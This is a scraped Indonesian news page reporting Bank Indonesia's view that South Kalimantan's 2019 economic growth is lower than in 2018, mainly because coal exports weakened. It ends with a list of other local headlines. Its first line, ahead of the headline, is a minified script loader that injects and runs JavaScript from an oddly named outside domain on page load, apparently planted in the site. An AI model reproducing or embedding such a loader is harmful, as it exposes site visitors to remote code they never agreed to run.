(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BI: Pertumbuhan Ekonomi Kalsel 2019 Lebih Rendah Dibanding 2018


BANJARMASIN, Pertumbuhan ekonomi Kalsel pada tahun 2019 lebih rendah dibandingkan tahun sebelumnya. Penurunan ini imbas kondisi ekonomi global dengan tensi perang dagang yang meluas.

Hal tersebut disampaikan Kepala KPw Bank Indonesia (BI) Kalsel Herawanto dalam sambutannya pada Pertemuan Tahunan BI 2019 dengan tema ‘Sinergi, Transformasi, Inovasi: Ekonomi Kalimantan Selatan untuk Mendukung Indonesia Maju’ di aula BI Kalsel, Rabu (11/12). Acara dihadiri juga Gubernur Kalsel H Sahbirin Noor, serta pimpinan daerah se-Kalsel, perwakilan OJK, perbankan, dan media massa.

Herawanto mengatakan, ditengah kondisi ekonomi global yang sulit, patut disyukuri kinerja dan prospek ekonomi Indonesia cukup baik. Stabilitas terjaga, momentum pertumbuhan berlanjut, sementara sejumlah negara mengalami resesi atau bahkan krisis.

Pertumbuhan ekonomi nasional pun cukup baik di tahun 2019 dan akan meningkat pada tahun 2020 ditopang permintaan domestik, konsumsi, dan investasi.

Adapun pertumbuhan ekonomi Kalimantan Selatan pada tahun 2019, kembali menghadapi tantangan dari tertahannya kinerja ekspor dan pertambangan batu bara, sehingga pertumbuhan pada tahun 2019 diprakirakan lebih rendah dibanding 2018.

Namun pada tahun 2020, perekonomian Kalsel berpeluang meningkat seiring pemulihan kinerja ekspor dan pertambangan batu bara serta meningkatnya industri pengolahan.

Sebelumnya, BI juga menyebutkan pada triwulan pertama 2019, pertumbuhan ekonomi Kalsel tercatat sebesar 4,08%(yoy), melambat dari triwulan sebelumnya yang sebesar 5,78% (yoy). Herawanto menyebutkan perlambatan pertumbuhan Kalsel utamanya disebabkan kinerja sektor pertambangan, khususnya batu bara, terkait perlambatan permintaan dari Tiongkok, yang salah satunya disebabkan oleh masih tingginya cadangan stok negara tersebut.

“Dari sisi permintaan, normalisasi konsumsi swasta pada awal atahun, menyebabkan kinerja konsumsi Rumah Tangga (RT) melambat,” katanya.(fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

9 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

12 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

15 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

16 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

16 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

17 jam ago

This website uses cookies.